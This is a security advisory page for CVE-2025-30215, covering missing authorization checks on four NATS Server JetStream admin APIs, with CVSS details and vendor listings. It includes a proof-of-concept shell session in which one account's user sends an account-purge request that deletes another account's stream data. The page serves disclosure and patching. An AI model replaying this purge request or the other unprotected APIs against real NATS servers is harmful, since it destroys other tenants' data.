CVE-2025-30215

ADVISORY - github

Summary

Advisory

The management of JetStream assets happens with messages in the $JS. subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.

Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.

Affected versions

NATS Server:

  • Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27

Original Report

(Lightly edited to confirm some supposition and in the summary to use past tense)

Summary

nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.

In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>.

Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.

Reproduction of the ACCOUNT.PURGE case is below. The others are like it.

Details & Impact

Issue 1: $JS.API.ACCOUNT.PURGE.*

Any user may perform an account purge of any other account (including their own).

Risk: total destruction of Jetstream configuration and data.

Issue 2: $JS.API.SERVER.REMOVE

Any user may remove servers from Jetstream clusters.

Risk: Loss of data redundancy, reduction of service quality.

Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.* and CANCEL_MOVE

Any user may cause streams to be moved between servers.

Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.

Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*

Mitigations

It appears that users without permission to publish on $JS.API.ACCOUNT.> or $JS.API.SERVER.> are unable to execute the above APIs.

Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.> (or simply >), which allows the improper access to the system APIs above.

Scope of impact

Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.

While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.

Additional notes

It appears that $JS.API.META.LEADER.STEPDOWN does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.

PoC

Environment

Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4

Reproduction steps

$ nats-server --version
nats-server: v2.10.26

$ nats --version
0.1.6

$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
  store_dir: './tmp'
}
accounts: {
  '$SYS': {
    users: [{user: 'sys', password: 'sys'}]
  },
  'TEST': {
    jetstream: true,
    users: [{user: 'a', password: 'a'}]
  },
  'TEST2': {
    jetstream: true,
    users: [{user: 'b', password: 'b'}]
  }
}

$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...

# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation

# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
                      User: sys
                   Account: $SYS
...

$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
                           User: a
                        Account: TEST
...

$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
                           User: b
                        Account: TEST2
...

# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...

$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"

# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│                                    Streams                                    │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined

$ du -h tmp/jetstream
  0B	tmp/jetstream/TEST/streams/stream1/obs
8.0K	tmp/jetstream/TEST/streams/stream1/msgs
 16K	tmp/jetstream/TEST/streams/stream1
 16K	tmp/jetstream/TEST/streams
 16K	tmp/jetstream/TEST
 16K	tmp/jetstream

# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}

# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)

# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
  0B	tmp/jetstream

$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined
EPSS Score: 0.00032 (0.076)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Authentication

Missing Authentication for Critical Function

ADVISORY - github

Improper Authorization

Improper Authentication

ADVISORY - gitlab

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Improper Authorization

Improper Authentication

OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.1

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.6critical
PackageTypeOS NameOS VersionAffected RangesFix Versions
github.com/nats-io/nats-server/v2golang-->=2.2.0,<2.10.272.10.27
github.com/nats-io/nats-server/v2golang-->=2.11.0-RC.1,<2.11.12.11.1
github.com/nats-io/nats-server/v2golang-->=0.0.0-20210315022129-0e3c7230e4b7,<0.0.0-20250408162009-6b830a9424190.0.0-20250408162009-6b830a942419

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is no loss of confidentiality.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

3.1

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.6critical

Alpine

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

GoLang

CREATED

UPDATED

ADVISORY IDGO-2025-3600
EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

GitLab

CREATED

UPDATED

ADVISORY ID

CVE-2025-30215

EXPLOITABILITY SCORE

3.1

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

9.6critical

Bitnami

CREATED

UPDATED

ADVISORY ID

BIT-nats-2025-30215

EXPLOITABILITY SCORE

3.1

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

9.6critical

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-75ww-3pqh-cxj4

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-8j5x-fhf3-4x84

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-qfr6-6xgx-436g

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-r99h-969q-5f7p

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-v26x-gh9w-5jmf

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-vfmx-334w-2329

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-wr76-cgvp-g297

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY